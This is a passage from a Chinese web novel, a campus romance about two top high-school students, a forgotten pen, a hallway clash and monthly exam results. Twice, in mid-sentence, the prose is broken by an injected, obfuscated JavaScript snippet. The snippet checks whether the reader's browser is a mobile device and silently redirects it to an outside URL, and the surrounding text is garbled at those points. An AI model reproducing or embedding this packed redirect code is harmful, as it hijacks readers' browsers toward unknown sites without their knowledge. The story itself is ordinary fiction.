陈嘉授拿起两张纸币,伸手弹了弹,折了两道放回书包夹层,拉上拉链。 “她不说我都忘了。”沈艺棠忽然想起找的钱还没还他,从外套口袋里摸出八块钱递过去,“不过你什么时候变得这么抠门,两块钱都计较。” 陈嘉授伸手挡了下:“不用,你自己留着吧。” “啊?” “懒得开书包了。”他抬起左手看表,“我爸的车还有半小时到,还有别的题吗?要问快问。” 陈沈两家大人今天参加一个应酬,熟人局,说把孩子们都带去。 长中下午五点半放学,但晚上应酬的时间是七点。陈少威就让陈嘉授先跟沈艺棠在学校汇合,晚点派司机去接他们。 上周五后,经过沈林风的一番劝解,沈艺棠已经想通了。 “陈嘉授是什么烂脾气你又不是不知道,要面子得要死,跟他谈恋爱活该受委屈。长得帅的二十七中遍地都是,你说你图他什么?” “……” 简直是一语惊醒梦中人。 沈艺棠觉得自己真是被冲昏了头,她从小被家人当成掌上明珠宠大,追在陈嘉授后面两个月,各种计策都用尽,还拿病人出来当借口,到头来待遇还不如跟他当普通朋友的那会儿。 她忐忑地问陈嘉授还能不能做朋友,陈嘉授没意见:“不想做朋友的是你。” 沈艺棠正百感交集,紧接着,就收到了陈嘉授的劝学宣言:“小时候你和老沈都被家长送去学画画,他学了三个月,你坚持到现在。我们国家有九大美院,那里才是你更大的舞台。” “不要把时间浪费在一个给不了你回应的人身上。” 沈艺棠的爸妈都没这么对她寄予厚望。她大受感动,想起自己荒废了一个月之久的文化课,于是趁热打铁,让陈嘉授趁着今天等车帮她复习。 做出一道基础得不能再基础的题目,她就恬不知耻地自夸道:“我就说我做什么都会成功吧!” 陈嘉授一点情面不留:“……你基础太差,自己翻翻课本吧,给你讲题是浪费我时间。” “……”沈艺棠咽不下这口气,“陈嘉授,你不改改你这张嘴,以后一定注孤生。” “我怎么了?” “你说话太气人了。刚才那个女生,人家不认识你,都能被你气走。” “……” “怎么。我说得不对吗?” 陈嘉授眯了眯眼,语气幽凉:“谁说她不认识我?” - 另一边。 喻星旋做完一套试卷,透过柜台上摆放的几株多肉的间隙,刚好可以看到卡座间的情况。 桌上有几本摊开的书,应该是陈嘉授在给沈艺棠讲题。 可是无论怎样竖起耳朵,都听不清那两个人在说什么。 像是感应到她的窥视,卡座间的两个人有了动作,整理好书包,然后一起离开。 他们上了路边一辆黑色轿车。车门关上,扬长而去。 想起他们青梅竹马的传言,喻星旋心里说不上是什么滋味。把作业放到一边,操纵鼠标,打开了电脑桌面的音乐播放器。 书吧里常年放着轻缓的音乐,歌单都是晓婷姐的品味。 恰逢上一首播完,下一首歌的前奏响起。 是一首粤语歌,歌名叫《野孩子》。 长南市和粤语区相隔十万八千里。喻星旋听不懂歌词,顺手就要切掉。 可她抬眼瞥向屏幕时,滚动的桌面歌词映入眼帘。 「情愿获得你的尊敬,承受太高傲的罪名。」 好像大脑中有根神经忽然被戳了一下,钝钝的。又渐渐地,泛起一种无法被消解的苦涩。 所有的故作不在意,都是为了避免被人看轻。 喻星旋移开鼠标,按下了单曲循环。 “小喻,刚才我收拾卫生,有个客人落下了一支笔,你看怎么能联系到他?” 是店里的清洁工姐姐。 像有种预感,喻星旋心一动:“客人坐哪一桌?” “那儿。” 果不其然。喻星旋抿了抿唇:“可能是我同学的,姐姐你拿给我吧。” 秋分已过,长南的天色黑得越来越早。时间再晚一些,店里的客人接二连三地离开。 书吧慢慢地空了下来,窗外的街灯一盏接一盏亮起。 可能因为明天是国庆假期,街上附近大学的学生都比平日里少得多,路面上难得冷清荒凉。 她拿起柜台上那支笔。 触感是金属的冷硬,在灯下泛着冰冷的银色光泽,比一般的笔重一些,笔壳上的商标是日文,没见过的牌子。 她想起给陈嘉授的作业写名字的时候,随手拿起的就是这支。 毕竟他连球鞋都很少有重样的。甚至都不会注意到自己什么时候少了一支笔吧。 正出神,门边风铃摇晃,发出一串脆响。 陈嘉授推开门,店里的音乐传进耳中。他有些意外:“……粤语歌?” 陈少威是香港人。那会儿香港还没回归,他放着好好的食品业大亨家的小少爷不做,为了陈蔚硬要留在内地,差点跟家里决裂。 虽然不会说,但粤语也算是陈嘉授的第二母语,他听得懂。 笔从手里掉落,啪的一声砸在桌上。 “你、你怎么回来了?” 喻星旋用力眨了眨眼睛,不是幻觉。不敢相信,他居然真真切切地出现在她眼前。 而在她不规律的心跳声里,歌手仍旧在不合时宜地唱着:“明知爱这种男孩子,也许只能如此。” 喻星旋颤抖着按下鼠标,把音乐关了。 音乐消失后,店里顷刻间静得落针可闻,安静得让她心生胆怯。 陈嘉授眼中有种说不清道不明的东西:“我笔落在店里了。” “是这支?” 喻星旋手颤得厉害,试了两次才从桌面上捡起笔,放到柜台上。 陈嘉授没去拿,扫视了一圈书吧的环境,忽然问:“客人点单,你们有提成吗?” “没有,我是兼职,拿时薪。” “这学年的助学金名单在老王那里,应该还没有报上去。如果你有需要,早点找他。” 他说得隐晦,喻星旋忽然反应过来,他应该是误会了什么,目的是不伤害到她的自尊心。 “不是的,我家里没困难,只是想攒钱买喜欢的东西。” 陈嘉授默了会儿,到他重新开口,也不过几秒钟,可时间忽然被拉得无限漫长。 “你一般工作到几点?” 喻星旋想了想:“八点半左右。” “你爸妈来接你?” 喻星旋梗了一下:“……” 但不知者无罪,从小到大被误会得次数多了,喻星旋也不再一个个地对他们解释自己家的情况。 “店主是我邻居,她今天有事不在,但关店的时候会来,她带我回家。” 话音刚落,另一阵风铃声响起,黄晓婷刚好就在此时回到了店里,一进门就嚷着:“明天就放假了闪闪,今天早点送你回去吧。” 关上门,才发现有另一个人在。 黄晓婷打量了矜贵清隽的少年好几眼,忽然瞪大眼睛,给喻星旋使了好几个眼色。 无奈喻星旋像个哑炮,实在带不动一点。黄晓婷只能主动出击:“同学,你来找谁?” “下午有东西忘在店里了,回来取。” 陈嘉授拿上笔转身,路对面的霓虹灯光落在他脸上,影影绰绰。他想起什么似的忽然回头:“先走了,注意安全。” 黑色轿车彻底消失在夜色深处。 黄晓婷忍笑忍得很辛苦:“闪闪,我是不是打扰你们了?” “没有。” 但,也不知为何,一个念头就那么冒出来。 如果她没说店主会送她回家,陈嘉授的意思是想送她吗? 但是,心里有一个声音在告诉喻星旋,她已经来不及改口了。 就像现在,她也已经没机会死心了。 黄晓婷问:“听他这意思,他下午已经来过了,又回来一趟?” 喻星旋嗯了声:“他回来拿笔。” “有没有搞错,一支笔而已,值得他回来找?”黄晓婷沉吟道,“我看这事只有两种情况,一种是这支笔对他很重要,另一种……他没准是把找笔当借口,目标是你。” “不会的。” “怎么?” 喻星旋平静地陈述:“下午他跟前女友在一起。” 黄晓婷噎了噎,安慰她:“也不一定啦,分手难道还不能做朋友了吗?你要是实在好奇,就找其他人打听打听。” 喻星旋没说好也没说不好,脑海中却刮起一场风暴。 他到底跟沈艺棠分手没有? 如果分手了,那下午怎么会单独出现? 如果没分手,陈嘉授怎么会把她撇下,一个人来书吧找他丢的东西? 喻星旋从没想过,她会在一件事上表现得如此逃避和拖延。 明明在班群里找到沈林风问一句就会有答案,但她硬生生拖到七天假期过去,拖到好奇心一天天消耗殆尽。 返校后的第一天上午,课间操结束。 喻星旋混在操场人群中,正辨认前方千篇一律的背影,肩膀忽然被人拍了拍。 是白峥。 他自来熟地跟她打招呼:“喻星旋,好几天没见,你假期去哪玩了?” “我没出门,在家写作业。” 白峥受不了地耸了耸肩:“这就是学霸的自我修养吗?” 喻星旋笑了一下,又听到白峥问:“我去超市买水,要不要一起?” 喻星旋本来是准备回教学楼的,余光却捕捉到不远处,一个难以忽视的优越身影。 她心底一动,转变主意,点了点头。 喻星旋拿了一罐柠檬茶,跟白峥一起站在队伍中排队等结账,心中却一直打着鼓。 她脑海中挣扎着,尽管知道这样不对,奶奶教过她不应该利用别人的善意,几番纠结,却还是开了口:“……白峥,陈嘉授是不是有女朋友啊?” “啊?怎么突然问这个?” “不是我。”喻星旋颧骨发烫,开始有些说不下去,“是我有个朋友……” “你哪儿来的朋友,让她自己来问我。” 喻星旋差点没抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818986|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳罐子。 一转身,陈嘉授不知什么时候出现在她背后,他身上还有跑操时残存的热气,气势灼人,深邃的视线锁着她,有些来者不善。 喻星旋把心一横:“我朋友不好意思来问你。” “?” “因为她听说,你是被人甩的。” 陈嘉授荒谬得笑了,仿佛她在说什么天方夜谭:“我?被人甩?” 陈嘉授的那群朋友里,有人认出来她是那天叫醒他的姑娘,纷纷伸长了脖子看戏,笑得东倒西歪:“同学,你朋友怕是误会了什么,这货就只有他甩别人的份。” 说话间已经轮到他们结账。 陈嘉授的便宜不占白不占,白峥把自己那瓶水跟他们一起放上柜台。 收银员看向唯一的女生:“你呢?” 陈嘉授:“她的也一起。” 喻星旋抱紧自己那罐柠檬茶,她的脸火辣辣的,强装淡定摇头:“不用,我自己结。” “……”陈嘉授轻嗤了声,也没强求,“我又不会抢你的。” 结完账,喻星旋找了个借口,匆匆跟白峥分开:“你们先走吧,我要去六班给我朋友带个东西。” 几个高大的男生彻底消失在超市门边,喻星旋插上柠檬茶的吸管,酸涩微苦的液体滑过喉咙。 不管怎么说,心底盘旋好几天的那个疑问,总算是得到了答案。 应该分手了吧。听他们的意思,是陈嘉授甩了对方。 可想起那句“只有他甩别人的份”,她又不由得喃喃出声:“没有例外吗?” 回去路上,彭骏一当着众人问:“对了,上周五晚上那个应酬,阿授你咋迟到这么久?” “有点事耽搁了。” “什么事啊,沈艺棠说司机都把你们送到酒店门口了,你又回去找东西。” 听他大费周章只为了找一支笔,一群人大跌眼镜:“你陈大少穷成这样?家里没别的笔了?” 陈嘉授拧开水瓶仰头,锋利的喉结上下滑动。喝完水,他才似笑非笑地掀掀眼皮:“是啊。” 朋友们简直要吐血:“尼玛。” 心想这人如果不是陈嘉授,早被人殴打几十个来回了。 - 长中为了让学生收心,在放假之前就宣布了开学后进行第一次月考的消息。 第二节课后,老王把考场信息贴在门后。 学生们一拥而上,李安蓝看完自己的考场号后,回来坐下:“不用看了,这次是按中考成绩分的。” 按中考成绩,岂不是她会跟陈嘉授分在一个考场。 果不其然,这个念头刚在她心上划过,李安蓝就说:“唉,喻星旋,除了你咱们班也没别的女生能跟班长在一个考场了。” 长中的分班一向遵循“按下葫芦起来瓢”的原则,三个全市前十被分到二班的代价,就是其他人的成绩一潭死水,第四名连全市前一百名都没进。 可能也是因为这个原因,他们三个在班里算是学神一样的存在。其他同学看他们的目光,多少带点仰视和疏远。 商芝琳也转过头来加入话题:“你们觉不觉得,除了沈林风,陈嘉授跟咱们班男生的关系都麻麻,倒是经常看见他跟外班几个很出名的男生在一起。” “他们应该很早就认识吧。毕竟陈嘉授初中在南大附中读的,那里的学生有百分之八十家里都非富即贵,还有相当一部分毕业之后就去国际高中了,为将来出国做准备。” 商芝琳:“施秦不也是附中毕业?” 李安蓝有口无心地接道:“没用啦,家庭早就决定了。就算挤进附中,他们也不是一个世界的人啊。” “……” 尽管知道她们不是故意说给她听,喻星旋还是胸口一滞。 原来无论是在谁的眼中,他们都从来不是同路人。 而这种感觉,穿插在日复一日的上课和复习中,终于在月考那天达到了顶峰。 第一场语文在上午九点开始。 八点钟,高一的学生就拿上文具,陆续来到考场外候场了。 喻星旋来到第一考场外,走廊上已经三五成群地站了些学生,一看就互相熟识的样子,或是在复习,或是互相吹捧。 施秦和陈嘉授都还没来。第一考场的其他人,她一个都不认识。 祝媛甚至跟她的考场不在一个楼层。 喻星旋垂下眼睫,收心复习起课本上的文言文。 随着走廊外汇聚的学生越来越多,陈嘉授也终于姗姗来迟。 他身边呼朋引伴,跟着一群朋友,一大群人从第二考场的方向走近。 其中一个男生特别高调地抱怨着:“说好同进退,结果就我一个在第二考场是吧!” “怎么办,我倒是不介意跟你换换。” 喻星旋寻声抬头。 朝阳映在他侧脸,男生的笑容克制,并不张扬,却有种与生俱来的高人一等。 这次喻星旋的视线很直白,混在周围人看向他的目光里,心事也变得相当安全。 可能也是因为不明显,陈嘉授根本没注意到她,在其他男生的簇拥中进了考场。 喻星旋心脏像被人轻轻一掐,闷不透气的感觉又浮上来。 她对受追捧的人,一直存有复杂心理。 她知道自己并不受人欢迎,所以有时候,也会自然而然地羡慕那些处在世界中心的人。 他们好像并不用付出特别多,就能天然地吸引许多关注。 青春期的少女偶尔也会觉得,是不是她的性格有缺陷,不然怎么会只有祝媛一个从小到大的朋友。 这时,走廊上有个女生跟同伴打闹经过,她手上拿着没盖好的水杯,剧烈一晃,水洒在了喻星旋身上。 “……” 刚接的开水溅到她手背上,白皙的皮肤瞬间烫红。 肇事的女生看了一眼,推搡着同伴:“要死啊,你都把水泼到人家身上了。” “谁叫你不盖盖儿的?” 几人互相推卸责任,嬉笑着走开。 喻星旋本来就心情不好,不想说话,却架不住有人却非要往她枪口上撞。她直接上前几步拉住人,冷声质问:“你不知道要道歉吗?” 走廊上瞬间混乱。 考场里,刘沐去门边看了一眼,就跑去给陈嘉授报信:“阿授,考场外面有人打起来了,咱们去看看!” 陈嘉授表情无语:“你平时也这么闲?” “但这两个人你都认识,一个是你初中同学,一个是咱们前几天在超市碰见那个……” 刘沐话音还没落,就看到陈嘉授脸色一变,甩下他,大步走向外面。 15. 考砸 . 刘沐跟在他身后继续说道:“杨蕊心她们几个人多势众的,你那同学又瘦又矮,真打起来落不了好……” 陈嘉授的脚步在门口倏然顿住,视线定格—— 只见他“落不了好”的同学,不知哪来的力气,左手手肘正把比她高一个头的杨蕊心锁在窗台上,右手夺下她的水杯。 杨蕊心惊恐地摆手:“你干什么?” 喻星旋声音不大,也不顾周围的各色目光,冷冷淡淡地威胁对面:“你要不就让我泼回来,要不就给我道歉,不然谁也别考试了,等教导主任过来处理。” 杨蕊心一被吓就没了胆:“对不起!我跟你道歉还不行吗!” 我靠。刘沐迷惑了,这怎么跟他想的不一样啊。 他还想看看陈嘉授会不会来一出英雄救美呢。 “……”刘沐缓缓地竖了个大拇指,“人不可貌相啊,这女生居然这么牛逼。” 杨蕊心初中净仗着家世看不起附中免学费的贫困生,说人家是要饭的乞丐,每年是从她们口袋里掏学杂费。这次居然让她踢到了块铁板。 陈嘉授没附和。 刘沐侧头看向好友,诡异地发现,陈嘉授居然笑了。 喻星旋勉强接受了她的道歉,把人松开,又把水杯放到她身边的窗台上。 一转身,堪堪撞上陈嘉授的视线。 他明显是看到了这一幕,脸上有还没收起的笑意。身边他的一个朋友同样是神情促狭。 喻星旋头皮一麻。 他不会在跟朋友嘲笑她吧。 好在各个考场的监考老师开始带着考卷就位,大家的注意力很快被转移。 喻星旋把语文课本往书包里匆匆一塞,把头昂得更高,快步走进考场。 她的位置在靠窗倒数第二位,直到坐下,脸才开始发烫。 刚才那一幕,别人会怎么想她呢? 肯定觉得她不讲道理,性格冲动,遇事用武力解决。 就算用脚后跟想想,也知道这样的人是不可能受人欢迎的。 不过也无所谓了。喻星旋安慰自己,反正她从小就是不愿意吃亏的性格。 如果受欢迎的代价是受委屈,她宁愿把所有人都得罪个遍。 - 高一不分文理,九科考试整整考了两天半才结束。 最后一科是物理。收卷的时候喻星旋就知道自己考砸了,一考场又全是学霸精英,她还没走出考场,听着别人对考试的议论,心情渐渐沉入谷底。 “你觉得这场怎么样?” “完全没难度啊,我还剩半小时就想交卷了。” “是啊,如果期中考试也这么简单就好了。” “了不得了不得,健哥这是奔着理科满分去啊!” “……” 喻星旋的心情更糟糕了,像一团被揉皱的草稿纸。 正午的光线照得人睁不开眼,她麻木地走到考场外收拾书包,忽然身边落下一道影子,隔着一段距离,松木的气息萦绕而来。 男生冷冽的声音被阳光烘烤得带点柔和:“考完了。” 四周都有人,喻星旋正要开口,又怕自作多情,谨慎地缓慢抬眼,发现陈嘉授的目光正落在她身上。 喻星旋还是不确定:“……你在跟我说话?” “不然是跟谁?” 这时候主动挑起话题,十有八九是向她打听成绩。反正他对她也不会有什么好印象,喻星旋有点破罐破摔,加快了收拾东西的速度:“你别问了,肯定考得比你差。” “谁说我要问这个。”陈嘉授像是又被她气笑了,胸腔发出一声不明显的震颤,视线定在她手上。 “你手怎么了?” “……” 她手上两天前被开水烫的红印还没消,而且当时陈嘉授也是在场的。 “没什么,就是被烫……” 喻星旋话还没说完,又有三个人在附近停下。 是前天泼她水还不道歉的女生,和她的两个同伴。 喻星旋面色一沉,她的书包已经收拾好,却实在好奇她们想做什么。她装作找东西,两手在包里翻来翻去。 下一秒,她就开始后悔这个决定。 “陈嘉授,你物理的最后一道选择和最后一道大题分别是多少?” “选择忘了,大题2.6秒吧。” 杨蕊心笑逐颜开,对同伴炫耀:“太好了,我就说是2.6秒吧!” “……” 喻星旋认命地把眼睛闭上,怀疑这次月考是她的水逆。 不然怎么只听了三句话,就又发现自己做错一道题。 她低声道:“我先回去了。” 杨蕊心这才注意到刚才站在陈嘉授身边的女生。 所有接触过的人里,杨蕊心最讨厌她这种人,穷酸,偏偏还自命清高,就差把“瞧不上你的几个臭钱”写在脸上,她有点虚荣心,不过是想要巴结和恭维,但这种女生不会满足她。 更别提她还当着这么多人的面让自己难堪。 杨蕊心试探地问道:“陈嘉授,她是……” “同学。” 杨蕊心读不出他的态度,便认为陈嘉授应该跟她不熟。 “这女生太贱了啊。”杨蕊心的一个同伴替她打抱不平,“不就是不小心洒了她一点水吗,她就跟疯了似的要打蕊心,她要是知道蕊心她爸是做什么的……” 杨蕊心再不喜欢她,也觉得这话过分了,何况自己也不占理。她抬头瞥见陈嘉授的神色,从背后使劲戳了同伴一下。 倒也看不出他生没生气,但对她们几个的鄙夷和不耐烦已经毫无遮拦。 “你前面那句说什么?” “……不小心洒了她一点水。” “再往前。” 骂人的女生手足无措:“我只是抱不平,没那个意思……” “嘴放干净点。”陈嘉授直起身,眸色冷下来,薄唇溢出一声警告,“还有,你最好别去找她麻烦。” 杨蕊心嘴唇蠕动了几下,终于想起给自己解释:“不是我啊……我可没让她这么说!” “阿授,去吃饭呗。”刘沐走过来揽住他肩,扫过眼前噤若寒蝉的三个女生,“……你这是怎么她们了?” 陈嘉授笑笑:“我能怎么她们。” 刘沐哦了声,也没当回事,收回视线,边走边说:“下午上自习,吃完饭咱们去打球?” “我先回趟班。”陈嘉授看了他拎着的透明笔袋一眼,“食堂门口见吧。” 二班没什么人,大部分人考完直接去食堂了,陈嘉授视线毫无阻隔地落在教室另一侧。 靠窗的位置,女生趴在桌上,宽大的校服垂下来,有些无精打采的样子。 前面坐的却不是她的前桌,一个外班的女生拉着她的手,像在安慰。 陈嘉授收书的动作放慢。 后门被人敲了敲,刘沐和彭骏一他们在探头探脑,沈林风也回班了。 “不是说食堂门口见?” “我们班门锁了。”刘沐大大咧咧地把笔袋丢在他桌上,“先放你这里,中午打完球再来拿。” 沈林风:“打球?我也去!” 带上后门的时候,陈嘉授最后往那个方向看了眼。 她好像确实没考好。月考第一天她还骄傲得像只孔雀,这会儿羽毛都被打湿了,紧贴身体,有点狼狈。 那天中午打球,陈嘉授划水划到朋友们实在看不下去,纷纷痛斥他篮板下梦游的恶劣行径。 “授,实话实说,你到底是落枕了还是拉伤了还是没睡醒?” 球到他手上他也不进攻,懒洋洋地传给队友,明显没一点状态。 “累了。”他将额发向后一撸,状态有些疲惫,“昨晚没睡好。” 沈林风理解地点点头:“又在弄你那航模大赛?还有月考,你用不用这么拼。” 就在这时,不远处一排黄绿相间的榆树下,两个女生正牵着手穿过操场。 彭骏一手里运着球:“要是累了你就先场边歇歇……” 他话音未落,橙色的篮球就到了陈嘉授手里。 他连超数个人,轻松把球送进篮筐。篮球落地,他回头看着众人:“怎么不打了?” 朋友们:“……” 陈嘉授变脸之快超乎人的想象,下半场他像变了个人,开始血虐对面。 从食堂出来,祝媛就陪喻星旋在校园里闲逛散心。 祝媛问她要不要去超市买饮料,喻星旋摇摇头,忽然说想去操场。 十月金秋,午后的风吹得人很惬意。操场边的篮球场上,几个场地都被占满。 喻星旋拉着祝媛从榆树下走过,视线晃悠,晃到球场中央,穿黑色薄卫衣的陈嘉授身上。 她心里忽然酸酸的。 这跟她喜不喜欢这个人无关,只是心想,还有心情跟朋友打球,他一定考得很好。 “闪闪,你别给自己这么大压力。”祝媛抱了抱她,“没准最后的结果不像你想的这么糟糕呢?” “有个很优秀的人,我不想什么都不如他。” 不管是人际关系,还是成绩。她不想因为喜欢他,就屈居于他之下。 祝媛:“男生还是女生?” 出于一点对熟人承认的羞耻,喻星旋咬了咬舌尖,违心遮掩:“……女生。” “你这是遇到对手了啊,武侠小说里,好多劲敌最后都化干戈为玉帛,成为朋友了。”祝媛把她胳膊抱得更紧了点,撒娇地说,“但你不能被她抢走哦,我跟你才是最好的。” “不会的。”喻星旋唇角弯了弯,“我们回班吧。” 下半场打完,朋友们四散开,坐在场边毫无形象地喝水。 “阿授你不是累吗,过来坐啊。” 陈嘉授摆手,瞬间得到一片“矫情”的评价。他偏了偏头,榆树下的女生已经不在那里了。 他擦了擦手肘上潮湿的汗,动作一顿,抬手叫最高的一个朋友过来。 身高一八九的胡旷站起来:“干嘛阿授?” 陈嘉授指指篮球架,让他后背靠上去。 他抬起左肘,模仿喻星旋按杨蕊心的那个姿势,单手制在胡旷胸前,把他锁在篮球架上:“你试试能不能挣开。” “什么?”胡旷虽然不理解,但还是照做。 一只手的力量毕竟有限。胡旷没用多大力气就挣脱开,陈嘉授垂眼看着自己的手肘,像是不可思议:“力气这么大?” “那当然了,不然我这189还是白长的?” 陈嘉授回神,拍拍他的肩:“谢了。” 两人回到场边,彭骏一正撩起裤腿,给众人展示他暑假滑雪时留下的伤口。 沈林风:“当时你伤得骨头都露出来了,现在居然连疤都快看不见了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818987|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彭骏一放下裤腿:“我爸从德国带回来的药膏,专门祛疤的,看来确实有用。” “怎么买的。” 没想到陈嘉授会忽然插话。彭骏一马上问:“阿授你伤到哪了?” “烫伤,能用吗?” “你不早说呢,这药膏越早用效果越好。”彭骏一表示包在自己身上,“明天吧,我带一管新的给你。” “唉,还是不上课好啊。”回班路上,沈林风感叹道,“兄弟们,珍惜今天欢乐的时光吧,没准月考成绩公布之后,你们就看不到我了。” “怎么回事?” “我那数理化成绩你们也知道,我爸说如果我月考进不了全班前二十,晚自习就别上了,给我在家请人辅导。” “我听上一届的人说,一般最晚后天上午公布成绩排名。”刘沐安慰他,“兄弟,能活一天算一天,好死不如赖活着。” 众人哄笑,沈林风踹了他一脚:“滚蛋,就知道说风凉话。” 迎面几个高一的学生从教学楼的方向走来,陈嘉授认出其中一个是三班的班长。 “陈嘉授,你在这里啊,刚才年级来通知,让各班班长帮忙分试卷。” 陈嘉授点头,跟他们一起去了办公楼。 彭骏一对沈林风说:“合着你跟阿授同桌这么久,一点儿好都没学到?” “这能怪我?你以为人人都是陈嘉授啊,中考前打球都能考状元?” “……那倒是。” 沈林风:“不过这次也不好说。最近有个航模大赛要截止,他每天都熬夜搞到凌晨一两点。” “天才哪能以常理计。”彭骏一摇头,丝毫不掩饰对陈嘉授的崇拜,“这种小比赛不可能影响他发挥的。” - 当天下午,月考答案发放到每个人手中。 所幸其他科目发挥得还不错,只是在对完物理答案后,喻星旋几乎是笃定,自己一定不可能超过陈嘉授和施秦了。 第二天虽然没有公布成绩,各科老师已经基本把月考卷讲过一遍。 李安蓝无精打采地趴在试卷上:“学校搞什么啊,能不能来个痛快的,还不如一次性告诉我‘你是个菜鸡’,不然每次讲卷子都在帮我强化这个认知。” 商芝琳猛点头:“同感。” 喻星旋虽然没有附和她们,内心的焦躁却一点都不比她们少。 隔天的上午,大课间,队伍一解散,已经隐约听到有的班级在讨论月考成绩出来的事。 祝媛却在这个时间来找喻星旋。 她怀疑自己生理期到了,可能要让喻星旋帮她去买卫生巾。 等祝媛处理好,两人回班的时候,喻星旋紧张得听不到祝媛说什么话,脑海中只剩下了自己既定的命运。 祝媛扳正她的肩鼓励:“没关系的,平常心,后面还有那么多考试呢,下次一定超过他们!” 二班门口,喻星旋远远地就看见一群人围在讲台上。 不知谁第一个发现了她,一群人的脑袋都转过来。 “喻星旋,你太牛了!”商芝琳嚷道。 “你是第一名!” “咱们班第一回来了!” “……?” 喻星旋完全状况外,忽然被人拉到了讲台上,直面密密麻麻的成绩单。 喻星旋,总分978,语文130,数学148……物理76。班级第一,年级第十五。 施秦,总分952。班级第二,年级第四十。 陈嘉授,总分943。班级第三,年级第五十五。 喻星旋彻底松了一口气。几乎是下意识地去看陈嘉授的物理成绩。 物理…… 物理满分。 所以他到底为什么考成这样?她正要定睛细看,门边传来另一阵骚乱,陈嘉授回班了。 男生白玉一样的脸上辨不出喜怒,穿过讲台旁的同学自动让出的通道,来到喻星旋侧后,垂眼扫过桌面上那张成绩单—— 就像真的只是看一眼,他神色如常,走下讲台回自己位置。 沈林风在门边说了什么,看他回去,连自己成绩都没心情看,立刻跟了上去。 “行了同学们,都先回去吧。”下节课是老王的物理,他走进教室,一贯随和的国字脸上多了不少严肃,“我直说了,这次大家考得全都不好。我们先上课,以后还要专门开一次班会课好好讲讲这个事儿。” 喻星旋考第一的那点儿热乎气,还没持续多久就消散了。她跟在商芝琳身后,有些担忧地看向后门边的陈嘉授。却发现他的表情全部遮盖在黑色的短碎发下。 身旁有人小声嘀咕:“班长这次怎么掉这么多啊。” “谁知道呢,谈恋爱谈的吧。” “啊?上次那个来找他的,真是他女朋友啊?” “八成是。” “早恋会被请家长吗?” “……” 喻星旋心一揪,却无暇多想,坐下之后就翻出昨天没讲完的物理答题纸。她的物理考出了迄今为止最差的成绩,如果再不认真听讲,既对不住自己,也实在是有点无颜面对老王。 老王站上讲台,却迟迟没有开始上课的意思。他捏起成绩单,本来就差的脸色更差了,眉头皱得能夹死一只苍蝇。 “陈嘉授。” 数道视线瞬间投过去。 “你跟我出来一下。” 16. 不舍得 . “听说,你们班的状元这次考得特别烂?” 那天的午饭时间,祝媛忽然八卦起陈嘉授。 喻星旋心跳瞬间加快,夹起一个丸子,又放下。 “……你怎么也知道了?” “听我们班同学说的,年级大榜就在公告栏贴着呢,前五十名都没他名字,很明显的好吧!” 喻星旋还想着他被老王叫出教室的那一幕。她其实还没想通老王都训斥了他什么,只记得他回来的时候倒也没有很消沉。 难道真的如一些人猜测的那样,他知道陈嘉授和沈艺棠的事,找他秋后算账了? 祝媛看了喻星旋好几眼。女生垂着眼眸,周身是冰凉的,完全不见考第一的开心:“别再想你的物理成绩啦,你就算考砸了,都比他高那么多,上天是不会辜负努力的人的。” 喻星旋摇摇头,或许是觉得早恋被抓个现形实在社死,暂时有些不想提起他的名字。 她现在比较担心祝媛,物化生三门没一门及格:“祝祝,你的理科……没问题吗?” “嗨,反正我的志向是播音主持,以后肯定选文……唔,你这丸子还吃不吃?” “都给你了。” 喻星旋把丸子拨给她,思绪又飘回了今天早上。 中考状元跌落神坛的消息,不出一节课,就像长了翅膀一样飞遍了高一年级。 今天上午的物理课之后,陈嘉授外班的那几个朋友都出现在了二班的后门外,想必也是听说了他这次发挥失常的事。 喻星旋假装去接水,路过后门边时竖起耳朵,但什么关键信息都没听到。 只听到有个人在安慰陈嘉授:“小问题阿授,这次就是个意外,也不会每次都那么巧撞上……” 而后面的话,都淹没在走廊的声音中。 窗外起了风,头顶上乌云翻滚,像在酝酿一场雨。 那时她跟陈嘉授的距离不过两三米,中间隔着几个人,但却遥远到对他一无所知。 - 吃完午饭,喻星旋把自己的理科错题本拿去给了祝媛。 再回班时,几个走读的同学中午在班里休息,各自做着自己的事,没人注意到她。 月考成绩单贴在教室前门。 喻星旋脚步顿住。 她先扫了一遍自己的成绩条,视线顺着下移,最终停在第三个名字上,秀气的眉头渐渐蹙起。 他政史地三门加起来,居然比她少了四十分。 而除了这三门和物理之外,其他科目的差距虽然也有,但是每科一两分的分差,基本可以忽略不计。 喻星旋胸口有些发闷,想起不久之前,她还因为陈嘉授的前女友纠结和低落,忽然觉得好不值得。 他或许本来就是一个,会因为谈恋爱影响成绩的普通人。 下午的最后一节自习课前,喻星旋用笔的尾端顶着腮,望向窗外暗沉的天色出神。 虽然早就听人说高考的文综是一门玄学,但平心而论,高一的政史地并不难,甚至可以完全套用初中的学习方法,只要背过了就能拿分。 这个道理,陈嘉授居然会不明白吗? “哗”,窗外景色霎时被暴雨切割成一线线。 靠窗的同学手忙脚乱,连声叫着“快关窗”。 那场从上午开始酝酿的雨,在下午的自习课前终于降落下来。 喻星旋抽出草稿本,翻开一页空白纸,在最上方写下两个字:提纲。 “喻星旋……” 听到李安蓝的声音,喻星旋条件反射地坐直了身体,手肘把纸上的内容挡得严严实实:“怎么了?” 